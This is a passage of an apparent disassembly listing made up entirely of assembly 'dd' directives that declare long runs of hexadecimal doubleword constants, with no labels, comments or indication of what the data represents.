		dd 0CEDF3F88h, 0B51D336Bh, 12409B13h, 0F16C27A8h, 1A17111h
		dd 5798D3E3h, 0F0B935B6h, 10017D8h, 42141CBFh, 0BC58AB0h
		dd 110651E1h, 55896480h, 0A0ABD47Eh, 887877E0h,	0F3821C00h
		dd 0B612104h, 912000DCh, 0E8E955E5h, 53144523h,	0FA04D098h
		dd 0F695F1C1h, 9F18F097h, 6B99124h, 71517403h, 2D299012h
		dd 739577A6h, 0C83803CAh, 0CB8BFF18h, 0DC57280Eh, 3DD13F13h
		dd 58D11700h, 4A761472h, 9AB639h, 0AC6C8423h, 1C58Eh, 0F705A336h
		dd 0F5529177h, 94007B7Dh, 0D149C6ADh, 0B0756h, 0E73A3DC3h
		dd 0E945607Fh, 14333Dh,	20089034h, 17828413h, 2ADA9h, 97538999h
		dd 3B3A456Bh, 0DBC68F1Eh, 8B0012BAh, 144373BDh,	72600070h
		dd 3C16994Bh, 19390513h, 3FA0306h, 9865AD09h, 3CD50494h
		dd 7C80C845h, 86C64EE7h, 0D65840CDh, 9FC917FEh,	95769A00h
		dd 0B9737Bh, 0E9B26026h, 62496CA8h, 0D416ED00h,	51C6942Eh
		dd 6F1C1628h, 0F53E00DCh, 4AC75A7Ah, 8C09D0E2h,	801BBAE1h
		dd 2A02F78h, 0CC6100B0h, 6E42FF48h, 2D0979B5h, 0DFE624h
		dd 1F93FC9Fh, 0E5F204h,	0FE6D108Ch, 6B3AD992h, 0D0A1C100h
		dd 35BE9F07h, 0C24B03D5h, 2BFC6558h, 46768690h,	3B8FAE4h
		dd 37CAE501h, 0A0F9A518h, 369DEE0h, 0E0D7942h, 3EE065EBh
		dd 0E4008B91h, 1639FAF4h, 1F891736h, 0C7C13A4Ch, 70D50637h
		dd 3111E0BAh, 0A47B39h,	1C248EFh, 0BEE9FFh, 70404C0Dh
		dd 838BE1BDh, 30299B30h, 1CE41961h, 0C072B966h,	81752E58h
		dd 99090FA0h, 3057F8h, 0E765B48h, 97FA00ABh, 0ADD7C383h
		dd 88180A05h, 1B10841Fh, 2F230F64h, 4960B510h, 0FEAB4EE8h
		dd 1C55A53Fh, 34808EB6h, 0EDE21EEFh, 0DA2F03ECh, 6A9F0889h
		dd 0CA9B4000h, 0BFE8D3C5h, 2D3100FCh, 9481FF45h, 2700AA1Fh
		dd 0D73C9A6Ah, 48D19029h, 2A0094B8h, 6B721AFFh,	0ED06C32Dh
		dd 5CDACC6Eh, 24E6F268h, 71873CFh, 0DE4F3D14h, 0D5CE8D40h
		dd 934865AFh, 0CFF60004h, 22C78442h, 7D1002Bh, 2FD7DE9Ah
		dd 0FA00E00Dh, 0E566E14Ch, 3A8BF87h, 52933439h,	69A302D2h
		dd 22AEF1E0h, 76D12D00h, 3FCCA31Fh, 1659016Dh, 0F1B59166h
		dd 86E1807Ah, 6208E143h, 6B8C001Bh, 155579EAh, 0F3000484h
		dd 0E906CA12h, 7F7AC566h, 0A8420747h, 10EF4Bh, 7BB1CBBAh
		dd 0F8C004F6h, 0AD7501EBh, 0C9171896h, 0B767608Eh, 45655605h
		dd 0AF03BC7Ch, 0A8EDB93Dh, 81E677h, 144261E3h, 53B31211h
		dd 0BC599918h, 98A79E20h, 7052029Dh, 0CAAD19B9h, 48BFAC80h
		dd 78009B3Ch, 9A0DCCDCh, 90431DB2h, 2BDF0108h, 99F4570Eh
		dd 0F2F848B4h, 56E77900h, 3A1B22F3h, 0D55305AAh, 36B9BE99h
		dd 340C58D8h, 80C7CDC9h, 0AFC802AEh, 323D6A99h,	0FBEEFC80h
		dd 20C6374h, 0C9AC015Eh, 98F2008Dh, 5515D590h, 247931E2h
		dd 87994300h, 9BBA25BDh, 80C1428Bh, 6A3BC90Fh, 48C56065h
		dd 8FCD950Eh, 0F07C2700h, 533222BFh, 194E71D3h,	71B02D69h
		dd 9B1BE4A5h, 2629E514h, 389F0880h, 0AC102Dh, 5AFE0166h
		dd 1FF88579h, 8742E790h, 0F0997219h, 46F79CD9h,	0AC7E9892h
		dd 75AF808h, 1A803D6Bh,	6CECF145h, 5E007451h, 0E0823441h
		dd 0E36CEh, 0B08665B5h,	86C4C48h, 842E3700h, 305044E5h
		dd 157E214h, 75461DFEh,	20407B0Ch, 0B700C068h, 0F517C9D0h
		dd 8231C4h, 3F4EA676h, 5D5BCBC6h, 0BA571A00h, 5A387BE6h
		dd 44362CD6h, 4218803Ch, 340DEAB3h, 5C557624h, 0A440C481h
		dd 608095B1h, 5F6FF1DFh, 4C05D87Fh, 0BCE45EF3h,	939CE400h
		dd 0C03E096Ah, 0D72F728h, 2E0755D8h, 86987EAh, 6253E0C0h
		dd 34322A90h, 23220294h, 2EEDFB15h, 2BD1AC82h, 10B8FC91h
		dd 4ACCE69h, 0A30E4224h, 7138D71Bh, 2055A2E4h, 0EB009B3Ch
		dd 2E3C787Dh, 6927CDh, 88B36D16h, 0F4E60B9Ah, 0C3003B7Eh
		dd 90F29505h, 1350380Ah, 300F374Bh, 45809DB0h, 1CAC2E24h
		dd 79C7EF60h, 3B3300E8h, 20B90777h, 0B50E1581h,	0E06EE55Ch
		dd 780C03DDh, 7FEF0072h, 8A2D8C28h, 47167494h, 0E8428970h
		dd 480F2986h, 1D1D8D98h, 93E92631h, 5C444F19h, 32740B82h
		dd 0FCDAE040h, 1B0C7104h, 8C8C729Ah, 19527BFFh,	6A25E24Eh
		dd 40AC22B6h, 100033A8h, 0F712A5D5h, 71FFADF3h,	2E878F8h
		dd 29DEE357h, 0E4A79ACDh, 0CE8644CCh, 0ED321294h, 9000C464h
		dd 0D5E9E595h, 0E0D8C042h, 9010C65Ch, 40D4C4A0h, 0BD00DFF2h
		dd 8174ED2h, 0E25AEF71h, 0D090001Ch, 79B86664h,	0E32C090Eh
		dd 0E294EC80h, 0C09F01DCh, 0B1986719h, 8F711080h, 81D913E0h
		dd 0A0003D76h, 0CC9F4CD2h, 3896283Ah, 0AC00981Eh, 7046C92h
		dd 2601B2DDh, 845DFF05h, 0F330B903h, 0B8B07FE7h, 0EE480016h
		dd 993F2EA8h, 8E3A5C7Dh, 15D18714h, 0CF70F7ECh,	7E75A740h
		dd 56803A19h, 73FA6D0Eh, 6FE06140h, 8701CB74h, 42B97E36h
		dd 0BDC54B0h, 3C19980Eh, 0DA804452h, 6B89609Ah,	0B100E7D5h
		dd 3A8D0750h, 0B8F81E5Ch, 0AE4500E0h, 0FDC54A0Fh, 0E40A3444h
		dd 0B8A09663h, 0BB83FA00h, 177CBD5h, 0EFE3D6Dh,	20C85DF2h
		dd 6201D97Ch, 1D80FAFCh, 6C353A41h, 59385E4h, 9991350Fh
		dd 0A124C0BAh, 0D900CC75h, 0F8605DA2h, 6EB1F2h,	5C7C6130h
		dd 1298851Fh, 0A5E49C00h, 2AAB1D20h, 76AE4A6h, 7D3DF0E3h
		dd 1921CCC2h, 0B2DB4A1Eh, 0A6975B8Eh, 38C9D692h, 0EB3F6D8Bh
		dd 42BE1D80h, 5B6A4AA0h, 8C00709Ah, 1EA87934h, 145E10Bh
		dd 1D8518D9h, 0FC8D84FCh, 787DBF82h, 24788A4Ch,	0BB898CB3h
		dd 28F49C2Bh, 88884Eh, 0BA56AD54h, 0B8167D04h, 9538C80Ch
		dd 0E9908Ch, 0D9CF218h,	292436E6h, 983D1C00h, 0B13E6FFBh
		dd 0ACAB3C09h, 0E1FB900h, 476E299Dh, 0CFA83406h, 0B9778Ah
		dd 0BB480B73h, 8C202FF4h, 390E450Eh, 3780BDFDh,	0B070631Bh
		dd 6491486Eh, 220B7E3Ah, 98A05131h, 5CD133BFh, 4404CD00h
		dd 0C56875BBh, 0FD2B0077h, 0E8706B16h, 709F05A3h, 0D8614927h
		dd 8E80F33Bh, 0F5343C52h, 210027CCh, 7BC02676h,	481C1160h
		dd 2F0B88ADh, 0A82143D7h, 12AE6E1Fh, 494D1BB3h,	1E8480A8h
		dd 0A8A37675h, 0E225A4A8h, 0F08D6FC9h, 0CA28C821h, 24874091h
		dd 0F0A0EC2h, 342936ABh, 68705860h, 1D030072h, 80C314BFh
		dd 0E609CC89h, 80C8F1EDh, 7298F894h, 0DCF20E5Bh, 22A362B3h
		dd 63EFBE29h, 0E9A8EA28h, 0B5E6EBD7h, 126AAD24h, 149C8D05h
		dd 27FBF5C1h, 690F8826h, 3481EF5Dh, 0C0879E1Bh,	0CE285647h
		dd 0F22CF888h, 0F9585041h, 281559CCh, 0C25C482h, 4F1244C8h
		dd 4300E5F8h, 18EF8DA7h, 3AC7DF0Bh, 0A304822Fh,	8029FF54h
		dd 39BE2A33h, 30DC3B02h, 87A5EEF1h, 0C05E4010h,	4680CA3Ah
		dd 0EA79C0ECh, 938D3F9Fh, 4D85BD09h, 13E06089h,	9B670012h
		dd 5946E619h, 0B82E2095h, 9DC0946Dh, 8629E9A0h,	5580889Bh
		dd 6D7036D0h, 0F94C00F8h, 8BAC5A63h, 80EF0213h,	242D9381h
		dd 1897F594h, 31EB63BAh, 9F60E008h, 0FEBFCA69h,	0A37D0023h
		dd 32EEE6E5h, 7097E97Eh, 5DDC3D03h, 1500073Eh, 0B609C7DDh
		dd 24388138h, 58D2894Dh, 0A47A0875h, 3F796404h,	483464D0h
		dd 1880F3CFh, 62995F20h, 5A1CC7E7h, 8C7E6986h, 0E6C012DCh
		dd 0B9060003h, 4B290556h, 1E1477D7h, 0AE83A49h,	0D450766Ch
		dd 0A202468Bh, 0E866988Ch, 928B63D4h, 4C2A180Ch, 756D283Dh
		dd 1700DC90h, 0BC47DEFDh, 5D3A684h, 4F6102FFh, 9C088089h
		dd 3E0018CBh, 863F19F5h, 0E7F9FC7h, 0CD4CD4A2h,	75D89BC0h
		dd 0D0077665h, 0F73B35E3h, 60542450h, 938C007Ah, 393D99AEh
		dd 0F93C97D7h, 2A4280D6h, 0DBE04BE4h, 69B2019Ch, 0CB794E1Fh
		dd 0FF903435h, 741E8300h, 6AEDBAB5h, 0AB0438C6h, 7273BB80h
		dd 8180D9ECh, 4A5F7507h, 45202C49h, 2096C05h, 0EFADC57Ah
		dd 3D4036C1h, 5100A34Ch, 10E8205Ch, 59E04A37h, 1A0000ACh
		dd 1F4E83E2h, 9EE4184Dh, 81455B07h, 0E312FD90h,	476C682Bh
		dd 24740017h, 6B3B0CEDh, 2E0754F3h, 3AE9ADD8h, 4DCDB880h
		dd 0B0AA078Eh, 0F0FE97FBh, 7F5C888h, 1A77D00h, 8252EC75h
		dd 596803C7h, 0E43D2B66h, 655CBEB8h, 0AB004BF4h, 0FC0E4009h
		dd 4808B0A2h, 9C00E7A1h, 49E614E1h, 61709724h, 0D16F7707h
		dd 0BC40FC86h, 0C03A12F8h, 9F43B59h, 0B1002EDEh, 0BCDDEBE3h
		dd 901B890Ch, 5A420088h, 352A416Bh, 2500AEEDh, 9915E7BDh
		dd 0ECBA86E8h, 7908E250h, 0B8EAD6h, 0BD8114AEh,	0CBBB3847h
		dd 64BCE07h, 72E05E18h,	138E40ACh, 8BF934h, 0EF0EA424h
		dd 6E0349BAh, 0A583CE76h, 1B17E079h, 542600F5h,	9FA0FA1Ch
		dd 0B00AF16h, 8A6F594Ah, 16231867h, 1CB33Bh, 55DF6268h
		dd 0A9005CB7h, 887EC5FDh, 1D8F98h, 9F8E66B0h, 5390B144h
		dd 856B6700h, 0AFCA72ABh, 9B740001h, 7FB21793h,	28243230h
		dd 0E7003840h, 561D8406h, 0C6D85C6Ah, 0B351500h, 2620D28Ah
		dd 0BA678603h, 98D7F9C5h, 0AFC47Bh, 44905B7Eh, 0FCB87203h
		dd 5914DD07h, 0C9C447BFh, 0A6A3CC80h, 0EF4F0005h, 0AB35B6BDh
		dd 73002F7Eh, 0CB9381BBh, 1DE862F6h, 803643A1h,	0CA0D191Fh
		dd 0D23D29D6h, 1BB902D5h, 606095AEh, 2CC74h, 0C309172Ah
		dd 44683F69h, 8AADA913h, 1ECA2AA0h, 408036F1h, 252A99D7h
		dd 0E700E294h, 581A5529h, 0A911A5h, 0EE30933Ah,	266192F5h
		dd 0C7075F00h, 702BAD49h, 0A7EA2Dh, 42D6767Ch, 0AF35A531h
		dd 0C0597933h, 80D7F598h, 664957A0h, 0C726017Fh, 6CCF6A29h
		dd 0D41FCCC9h, 84745A00h, 479D7717h, 2CC1C073h,	6C76CC27h
		dd 9FC32200h, 154AE1AAh, 956500FFh, 0ACCF2ADBh,	6B1C90E0h
		dd 0DF400745h, 8D899D8Eh, 64C01C7h, 2B264979h, 0F153F010h
		dd 1C715D20h, 0C00FECA7h, 0EE673B98h, 7500277Ah, 0A539B478h
		dd 0D8EF0Ch, 21ACBF1Ch,	67E58401h, 932BD606h, 0D0DFDAh
		dd 0D8EB3356h, 0F0408010h, 396F4B0Bh, 0E23580ACh, 0C519BBFh
		dd 31AE05CAh, 0E00688Eh, 0F433EE0Bh, 78A554h, 3F1394E2h
		dd 0F9C09331h, 53BA200h, 0E36BE00Bh, 90AA74FDh,	915603CAh
		dd 8FCA1B01h, 0D284802h, 0C04CE999h, 5C135323h,	8B00E7EAh
		dd 795C5FF1h, 0A052F95Dh, 67E901E8h, 69E0F016h,	0A18F6980h
		dd 0BFBA6B8Bh, 665EC00h, 62DD363Dh, 18C1047Fh, 80E59CB4h
		dd 460551DCh, 7C3A58h, 5536F508h, 0BCCDB6h, 34CF9971h
		dd 50D2F447h, 0FCA2DF0Ah, 9500DC3Ah, 0EAB7D06h,	76720681h
		dd 50DAB190h, 8F25EA00h, 87F206FCh, 7E7F8Bh, 0B6C5C816h
		dd 0ADAE5F83h, 7D333B26h, 0BB4B4900h, 0BCD7A1h,	58B4FB32h
		dd 0C6B06E39h, 0EA405F00h, 0E68A6436h, 479B0087h, 0AAF37B8Ch
		dd 173813B4h, 10718075h, 5E012F1Bh, 0F5A90021h,	0AC034A55h
		dd 0BE002D4Eh, 0CD54DB44h, 3DC66204h, 6D2DAF87h, 0DCEF081h
		dd 0D001FF2Ah, 63A3E158h, 0F2D0F782h, 0FEB114F5h, 0AA00103Eh
		dd 0FA7F6CE9h, 3D3AA3DEh, 3CCD01E2h, 0BD56D368h, 39985082h
		dd 10F7E50h, 0A9756792h, 0B0D05FEDh, 113CA00Bh,	1F100ADh
		dd 25E7DD40h, 1498B758h, 66E21203h, 0B153FD28h,	2AD416F8h
		dd 70E80063h, 5FDD3A78h, 2C50E0E6h, 88C73B38h, 0D3D23DA6h
		dd 0CFF194Bh, 0EB38806Fh, 3AA2D100h, 858628B6h,	2B0E0311h
		dd 0FF482D7Eh, 40EE51ABh, 6D1BE015h, 0AC6CBD04h, 2E7C48A8h
		dd 2DA64C1Fh, 209A5902h, 51048071h, 1D97F89Eh, 14F6190Bh
		dd 0D6311C43h, 8F54CC08h, 95B9C938h, 69186020h,	60355D7h
		dd 0EA8C58ADh, 1D7E9975h, 5C5008D9h, 432E1841h,	748B4C43h
		dd 7178DF69h, 475FC519h, 8F89DD1Ch, 9F0B7610h, 10A25029h
		dd 0C36051F9h, 808491Ch, 8B052E04h, 17F898E4h, 0C9D7440Ch
		dd 85565ACh, 431C3010h,	0A0982550h, 0CEA08DCh, 0F1145151h
		dd 184C4399h, 24DF2029h, 502810B4h, 77621E17h, 70EC80FBh
		dd 0D339B296h, 305FA122h, 3A087353h, 8378861Bh,	0D02FB620h
		dd 0F0EB0421h, 98115771h, 18C51844h, 97C1960h, 76E5CE07h
		dd 5240C838h, 28B0F8C2h, 0FC208B4Ch, 0A1F93FAFh, 66947589h
		dd 81FB9822h, 38310F63h, 0F418692Bh, 0EC0CA028h, 0C0490FCFh
		dd 94B33Eh, 0A812713Bh,	245ED0F2h, 839C1940h, 8D4AEA83h
		dd 5150F0DDh, 124FA913h, 97802C02h, 92348065h, 0C03AFF94h
		dd 5927A548h, 0AF903F76h, 30CF2EA0h, 87CE08CEh,	5A704EA9h
		dd 43E0C3Ah, 15435376h,	0EBC4D11Dh, 87AF71D7h, 36E73908h
		dd 18EA7280h, 48C1D9ECh, 7451BEB9h, 0BD82AD01h,	0B80ACE2Ch
		dd 94DCF4h, 43633954h, 575CF00Fh, 4B2A3B00h, 0A933FFE0h
		dd 7BD40251h, 2FBBDEDBh, 826490A5h, 3AE086AEh, 71262D8Bh
		dd 3F43A06Bh, 0A553B858h, 0F69130BBh, 0A13E5589h, 420CC878h
		dd 485D2F83h, 948838B0h, 8923910Ch, 0A20A1F28h,	60CCACBBh
		dd 1C88B914h, 43D6ED4Ah, 2139B800h, 216895Dh, 978BA669h
		dd 44B6CACh, 0AE2AE11Dh, 382EBE01h, 0D020CADFh,	0C3760009h
		dd 0C4C2025Fh, 39068413h, 0CBC19473h, 0C03E0721h, 5F56435Fh
		dd 7304A118h, 4EB0EA50h, 959FACA0h, 0FEA87680h,	735500F7h
		dd 0E06DE242h, 62FE1EFEh, 0A8852C92h, 0B0C61030h, 1D517848h
		dd 0E6080A66h, 15188C24h, 72794AC1h, 120DDF0Ah,	0EEE2B8B9h
		dd 10141992h, 80C18223h, 0BA00363Eh, 2CAD955Eh,	4DF9B6h
		dd 0C61F4E60h, 0C14891BEh, 152468E2h, 928E9C5Eh, 693F807Ch
		dd 9788F6h, 4373587Bh, 515F3BB0h, 0F3A2590Fh, 8A0DFED6h
		dd 0C8803C39h, 954FBB07h, 8F03E81Eh, 3B2BEF24h,	4060FA83h
		dd 805ECA50h, 0C244AB8h, 919288E1h, 2134BC04h, 2C3E1802h
		dd 0F7569482h, 0DCC5B8A3h, 0DE1EB9C1h, 43530049h, 188939D8h
		dd 0FD17D096h, 108CB857h, 3F0491F2h, 12124BA9h,	0A0710C31h
		dd 21508182h, 18418956h, 3031151Fh, 29A88F0Ch, 7DF60F2Ch
		dd 4C1493F1h, 953A7220h, 1760508Fh, 298DF1CCh, 0D89E001Eh
		dd 9524B00Bh, 18E2123Bh, 0D32D8A06h, 0EF40D6B5h, 68E0D980h
		dd 0D4825539h, 0E69A183Eh, 22294E91h, 400AB9A0h, 3C8A3847h
		dd 776CB09h, 588AFF88h,	73BE9684h, 8915B081h, 14974848h
		dd 0F0912CF8h, 54700700h, 40DF6F51h, 82561E1Bh,	3E20751Eh
		dd 9702D112h, 9FED6DFFh, 54988C40h, 39198898h, 0DE78C67Dh
		dd 0BA438310h, 0A8486818h, 1EBEBB71h, 0E8ACD181h, 0CDB92A68h
		dd 39026DB0h, 225C2088h, 0D079E49Ah, 1CB06006h,	0E983A69h
		dd 0CEA8921Bh, 0C10CBE60h, 6A24FE2Dh, 68150CBCh, 28A02484h
		dd 1192970Fh, 2845C2Eh,	6E17CBA5h, 9091F0A0h, 6D182CBEh
		dd 8281D171h, 785C7969h, 0E8D44CBCh, 6E737863h,	0A30377C7h
		dd 0C1516591h, 20E0FFC8h
		dd 123C38DFh, 2C2A024Bh, 813AD479h, 2947E099h, 0A81EEDF0h
		dd 1CCF098h, 37B84994h,	62560A51h, 0F83E4Ch, 130DE760h
		dd 3E7B2E15h, 971237EDh, 486C0853h, 577CA580h, 78BF70Ah
		dd 0D3B09570h, 21A6468Ch, 4C246C00h, 59AE74C3h,	1F610082h
		dd 0D32B319Eh, 930F537Ch, 802722E0h, 0A67A188Bh, 0AA2EA6Bh
		dd 0E7710930h, 0E583BB84h, 5A3DAFBEh, 6A396A19h, 68648608h
		dd 75BEF8AAh, 99401E3h,	28AB23A1h, 2F68835Fh, 0B04524B9h
		dd 54187389h, 1DB3B87Fh, 0C0B727B0h, 0E03F60AFh, 114875ACh
		dd 9C3E8008h, 54385227h, 7BDC5Fh, 0E2D6F1C5h, 0AB8040A5h
		dd 0CAEEDD02h, 0C063E591h, 43778DE4h, 0B0970C6Bh, 187111h
		dd 6C2AC95Dh, 7F613B8Bh, 3AA0A964h, 0E612D883h,	70CE21F9h
		dd 0A4BE6081h, 0AC18C23Dh, 0C1C321C0h, 17689BEh, 0CB1AA2C9h
		dd 0A160E89Bh, 65717858h, 0BEFDEC19h, 0E42E2404h, 80AEABh
		dd 0ECE763DFh, 687B00CAh, 0BC3580BAh, 0D0E8C525h, 22924C00h
		dd 0E34DE659h, 8F970090h, 5CB740AFh, 7EF256BCh,	5DEA300h
		dd 0E9C2088Eh, 61EEF6h,	0C39F6A19h, 0A2EF6D7Bh,	40FD04A5h
		dd 5AB385ECh, 0FD11D00Fh, 0DB86005Bh, 0FCC2EF41h, 0ADB20116h
		dd 4B8F4892h, 0B13980AFh, 7CCC150Dh, 66753B5Bh,	8339839Dh
		dd 0E85F29D1h, 19F306F0h, 9161E278h, 0C4577160h, 0F4CA7080h
		dd 73C8393Bh, 7FCEF3Eh,	72F24E63h, 0CCAEED40h, 70441893h
		dd 0F4B230B8h, 0C1156700h, 4024211Bh, 0D3691D3Dh, 0BB9A00B6h
		dd 890CCCBh, 791DBAF2h,	69B00E4Eh, 0FF48FEh, 0A081EF6Ch
		dd 67D76BEBh, 0A50097FCh, 79D611DBh, 36D1A6E5h,	8400D12h
		dd 41916A33h, 8A1E90FAh, 65C5002Eh, 0C15F81A6h,	0A301B495h
		dd 0F436FB0Eh, 0B0B1AF94h, 49AAC8C8h, 0CBD08AACh, 910108F6h
		dd 62C1A9AFh, 769891h, 5A2EA0F8h, 4CFB191Bh, 0C300FC6Fh
		dd 0AAE7ABEAh, 0E501746Ch, 967B94F6h, 1C402742h, 0F2984FDDh
		dd 0AD610035h, 0D6DB0F25h, 0A4A8C1F4h, 9B54FAF6h, 0ACA0646Ch
		dd 0DE70BDBBh, 941F80BDh, 0B028F7E3h, 0FCD6073Eh, 0C11F35Bh
		dd 8A6049B0h, 0EA3277B9h, 9E5A00CAh, 0BF2F27F3h, 0DE018713h
		dd 0ECC4791Bh, 98506C3Eh, 19A594Fh, 0BBB88AA6h,	0A170C691h
		dd 8600FC08h, 0EDAA9A52h, 6E3314D5h, 9B80D027h,	2ACDB13Fh
		dd 0F309DD01h, 91354BC9h, 63583823h, 46F17600h,	6A6836A5h
		dd 32B66C0Fh, 9EE001CFh, 382351C5h, 0BB4E7402h,	0F703A2F2h
		dd 41E34Ah, 0CAFC9548h,	66151C0Ch, 63595C01h, 0E8FB61FEh
		dd 9E438A0h, 8E4473C7h,	0E7D94020h, 0A75C08C0h,	0A6007A21h
		dd 0D3ECDBFFh, 0C4715h,	97E691CDh, 24399F5Ah, 38CACB71h
		dd 100406Ah, 0B32F1445h, 1FC30ED3h, 41FE9553h, 0E6975BE2h
		dd 764820BAh, 4949654h,	0DDBBA400h, 63CFC12Fh, 326807FBh
		dd 8049DE99h, 7BAB3B57h, 75385C15h, 7D470DA0h, 6BF1B192h
		dd 0A92449BEh, 7C398624h, 0CD3B2198h, 4DEA9D94h, 0AF9CBEC0h
		dd 7B9175Fh, 470AEF22h,	5341FC6Ah, 0F2008FF2h, 0DB29FD2Fh
		dd 6642EEh, 0A8F84991h,	5DD72619h, 0A4F5D905h, 0D81D3377h
		dd 95006CD0h, 0CB610146h, 90B5B74h, 48744ECh, 34C0B8BAh
		dd 33EA979Eh, 0DB31FDB1h, 24E52FB8h, 2D37B903h,	0A14FD47Ch
		dd 208097A0h, 6F30A3E8h, 0FB7E7299h, 255E4201h,	90482B17h
		dd 709B823Eh, 0A6059846h, 9C788AB8h, 8890CC51h,	97E441C1h
		dd 0BDCF60D0h, 31B4A30Ah, 21564C9Dh, 0A8806D54h, 0D8A0A3Ch
		dd 768974E6h, 1A6090E3h, 79685A39h, 43B3AC18h, 97896300h
		dd 79A30486h, 7DB113A7h, 94840FABh, 0DC6AB48Eh,	44BB61ACh
		dd 52C24D2h, 978BCE00h,	0CA651952h, 243607BAh, 33E451C2h
		dd 2BDDB31h, 2DC166B8h,	4EF8104Bh, 47333404h, 907BB961h
		dd 503CAF8Ah, 9145C865h, 88EE005Ch, 0AC2FC9C7h,	94BE3Dh
		dd 0C24E86CDh, 0EC57AE9Fh, 0A18F1D70h, 82A8012h, 7FA9C894h
		dd 4C92420Eh, 236098A4h, 648F0096h, 1EC0D358h, 2A26B9F9h
		dd 0FBF301Ch, 2088ADF7h, 82F0D278h, 0A54A033Bh,	81DEB08Ah
		dd 92A79080h, 0D073CC01h, 0DE1548Bh, 0B86DB98Fh, 1B3420B2h
		dd 0C3E072B0h, 5ED44804h, 0A4C459E6h, 18477C09h, 10FF7E4h
		dd 0EBDBD0A5h, 0E89658EAh, 0B716E71Eh, 23A001A9h, 0B58A719Ch
		dd 6491B800h, 41CF4344h, 2390C029h, 384F0F81h, 0EA808FF0h
		dd 42E70EE6h, 7100E8D9h, 47A12715h, 32B09C5Ah, 4D89732Ah
		dd 0A3D79D80h, 950035F9h, 0B9061A3Eh, 0EE3B08h,	1E949BB6h
		dd 0B37EAF6Bh, 2EB4C8A1h, 545238F1h, 73B860B9h,	0E052544Bh
		dd 21C200B5h, 4DB47E9Dh, 3C0ED2A0h, 0E05BD439h,	1EFF0B8Dh
		dd 1430016h, 9F9E8C49h,	0C0A4C15Ah, 54284726h, 125D358h
		dd 0D25F6885h, 204249F3h, 0B601BA7Ah, 0C01A28ACh, 7830470Ch
		dd 0F405544Bh, 5F17001Bh, 96B6A1CEh, 0CD182ADCh, 15F93F29h
		dd 0C06F00F7h, 439DDE13h, 0C1C0AC49h, 5F6721E0h, 0A6C70341h
		dd 3386632Ah, 0C823F7D1h, 0C304D054h, 5C2512E3h, 88D9A088h
		dd 0F40005FBh, 29032A0h, 16C69B0h, 185D44D8h, 80F1E84Fh
		dd 67C3F7D1h, 2CC47D95h, 60543F76h, 89F89AB7h, 90224846h
		dd 9A015AE0h, 0DF10D135h, 1980A774h, 0CDD2C726h, 150052D9h
		dd 0EAD18BF3h, 16A10Ah,	5E372FF1h, 4B6BD890h, 0B4E93660h
		dd 2082E3h, 8A05077h, 0C89AF90Fh, 23AB7E02h, 498BC371h
		dd 16DCD36Ch, 0CDE003C4h, 0F7D10711h, 0C3EFC902h, 60F27E31h
		dd 24B842D0h, 8080D3B0h, 96D2F4C9h, 0D52C8C4Eh,	0E6809CCBh
		dd 0C72ABB24h, 3D6BEE90h, 586FD126h, 8C6D51A1h,	0B3409CFCh
		dd 67D58980h, 0FE90FF7Ah, 0F4DB00E5h, 912DCF15h, 7131DEB5h
		dd 9C3149FEh, 5000F745h, 407865EEh, 18A4EFh, 35B472F7h
		dd 6C457FE9h, 63046C96h, 20C03F33h, 0E18610FBh,	6B090E2Ah
		dd 63883800h, 3300302Bh, 9183A213h, 3A3B75Dh, 6FECC50h
		dd 78E0D62Ah, 0AE036B98h, 11E78C48h, 3B818F0h, 1E2F1BFh
		dd 99F7630Eh, 9C2472D2h, 0B35348C0h, 0A211C1BDh, 0E0B5E69Ch
		dd 44780F64h, 0BC970113h, 2FF4F860h, 0E924105Bh, 8C58C836h
		dd 0BCACB01Ah, 0CC07624h, 12CD00BCh, 0D6148159h, 742924CCh
		dd 7AF28080h, 0E6822103h, 782F7D00h, 11BBF192h,	49949050h
		dd 300C82Ah, 0F4218A55h, 4974EAC5h, 30A074E4h, 0AE00A062h
		dd 8C369D72h, 7544D48Ah, 20E1639Ah, 4A903533h, 31C7F1BDh
		dd 0C387ABEFh, 0D8E1FB40h, 0C688A836h, 52F03853h, 944424F8h
		dd 98DA80ACh, 0CF31974Eh, 0C2464A00h, 0D4F89FB2h, 0BC44004Ch
		dd 0D9B95FB6h, 61C0C574h, 7EF2CDC0h, 0AA7A5Bh, 0FEE9DE48h
		dd 0CF61CBDFh, 0FD7AE60Eh, 4BAF02E1h, 751468A8h, 51CA00B4h
		dd 0D96F40EEh, 3D0F67D8h, 52E74E5Eh, 44B97447h,	39270530h
		dd 18A898C4h, 29682CD1h, 81CC70BBh, 4EC68B8h, 971DA2FBh
		dd 0AC68C728h, 273C3AD1h, 0C484D104h, 0EC00FE45h, 0F9CF8240h
		dd 12F4B45Fh, 8836BD46h, 0C52CD4F4h, 4D003F9Bh,	0B514C15Eh
		dd 94E500F0h, 236761CDh, 0B000479Dh, 0DADF17FCh, 0EB2930h
		dd 2CCE8E9Ch, 0E5AF20B9h, 0F9A64C00h, 9134C006h, 0A868003Bh
		dd 2AFD7BF2h, 0D60031A7h, 0FBF15A2Dh, 375D2E4h,	6F53DC77h
		dd 31030EDFh, 92EF4A25h, 8B101E3Ch, 593D08C9h, 0E7CD982h
		dd 0CC1200C3h, 820CF82Ch, 4167711Eh, 0A1E810FDh, 547C0065h
		dd 5FA2CF6Eh, 0D5F21D88h, 0D6F8433Eh, 1E3E9279h, 0E2FC003Fh
		dd 2F87C5DAh, 681B0341h
		dd 7905BA77h, 40EED591h, 0B4BCAC8Ah, 0F93C60C7h, 10EACE20h
		dd 0F8F6002Ch, 645DD260h, 79C1A211h, 0E5C80E85h, 3482CC0h
		dd 0AEA5F117h, 400006E3h, 5C85011Ch, 211A90h, 62349943h
		dd 440E577Bh, 0DF03F677h, 2306F4B2h, 5801EFCDh,	0E180ECA6h
		dd 0C64833EAh, 64008C6Fh, 0DB9954F0h, 96BD95h, 9A290E24h
		dd 413C5A93h, 17DF1919h, 0B048F138h, 0E07700BCh, 0CEA59324h
		dd 0EA1CF5D1h, 2BC0F22Ch, 1EA8294Eh, 882A00D7h,	0ABE31B70h
		dd 0ED00E438h, 374CB5AFh, 71FCC69h, 7585F5E7h, 8B791047h
		dd 9700728Eh, 1443F6A4h, 147ACE26h, 0ED2B46EDh,	0BC12FB00h
		dd 5457F31Eh, 63E62701h, 0A8DE52ABh, 0E70C098Ch, 0B100F720h
		dd 79603619h, 0F690Bh, 0A9225093h, 57C1BB5Eh, 9ACD2400h
		dd 0DDCE2E66h, 61C600E3h, 0AA4837F5h, 2A1C25F1h, 0C8F01DEBh
		dd 472F0F3h, 0FDA9431Fh, 0C72B80CDh, 0DD007DBFh, 78C27BF9h
